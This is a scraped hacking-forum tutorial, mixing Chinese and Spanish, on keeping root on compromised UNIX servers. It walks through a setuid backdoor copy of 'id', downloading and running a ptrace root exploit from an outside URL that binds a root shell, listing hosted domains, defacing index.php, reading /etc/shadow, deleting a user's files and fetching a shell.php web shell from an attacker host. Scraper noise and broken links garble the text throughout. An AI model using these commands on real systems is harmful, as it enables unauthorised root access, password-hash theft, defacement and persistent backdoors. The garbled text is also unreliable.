总结UNIX成为root以后保持权限的方法

韩冰

<><FONT color=#ff0000>by:cnbird</FONT></P>
<>1.</P>
<>[cnbird@localhost tmp]#id</P>
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
5 h* C# b4 V( ~( a& T# _1 C+ e<>[cnbird@localhost tmp]#cp `which id ` .</P>
<>[cnbird@localhost tmp]#chown root ./id</P>
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
<>[cnbird@localhost tmp]#ls -l ./id</P>
" ~% s4 t+ j# `9 U6 B<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
6 p; l9 w0 Q/ @* t, M, {6 `' Y<>[cnbird@localhost tmp]#exit</P>
<>[cnbird@localhost tmp]$id</P>
" l( h& ?9 w: o' _4 ?  |( j<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
+ e! }6 M. A: E<>[cnbird@localhost tmp]$./id </P>
( p6 [, m4 `# P% |$ n) G<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
0 j9 j4 a  q  F<>2.利用ptrace成为root的方法</P>
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
-&gt; Parent's PID is 2313. Child's PID is 2314.
-&gt; Attaching to 2315...
/ S& ^! D8 M  m( A3 U' p-&gt; Got the thread!!
; ]2 q) x  @; Y! b-&gt; Waiting for the next signal...
9 a% ~6 G/ K2 `0 o" B$ J& V-&gt; Injecting shellcode at 0x4000e85d
1 e- r7 [0 q! ?2 T( h- w7 G/ Q-&gt; Bind root shell on port 24876... =p
6 f! _) R9 p6 W# E; q-&gt; Detached from modprobe thread.
+ I3 O; E) [' I4 R# m-&gt; Committing suicide.....</P>
<>[bash]# id
uid=0(root) gid=0(root) groups=0(root)</P>
<>ara ver los dominios que hay en el server:
---------------------------------------------------------
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
+ {; P6 w0 P% x$ S" J- scat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
5 b& Y' f8 C- `$ mcat /etc/localdomains &lt;&lt; Unicamente los dominios locales
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
cat /etc/userdomains &lt;&lt; Este es el mas comun
---------------------------------------------------------</P>
+ z- }2 j. p' s3 h) C$ Z" i/ X% `<>ara ver la version de kernel:
---------------------------------------------------------
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
---------------------------------------------------------</P>
<>ara modificar un index ya existente:
---------------------------------------------------------
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
4 U; {, g. y3 H9 I( H---------------------------------------------------------</P>
& b) v+ W$ G. s2 R+ j$ \" e<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
. @" U2 S# ?& Z" Y---------------------------------------------------------
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
% F+ E# C0 g2 j# Q: Ncd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
Hasta aqui termina el proceso para un exploit.
5 K2 G% P: J  C! u2 r3 D5 T& [---------------------------------------------------------</P>
9 E' F; A- M# J0 f" \, C; [3 J<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
& X- Q2 |9 C4 X---------------------------------------------------------
% w1 ~( ~& X! q* t3 ycat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
( s' r. ^  N: s2 i. _9 f---------------------------------------------------------</P>
& s7 D9 z6 x9 }( M9 ]2 r<>Borrar un Ficher
& _( S, d. [$ R/ v6 h---------------------------------------------------------
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
# B4 R' U9 C6 X( U" `$ t" x---------------------------------------------------------</P>
<>Subir un ficher
% `3 O8 Y) A: h8 N---------------------------------------------------------
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
<>
<CENTER></CENTER>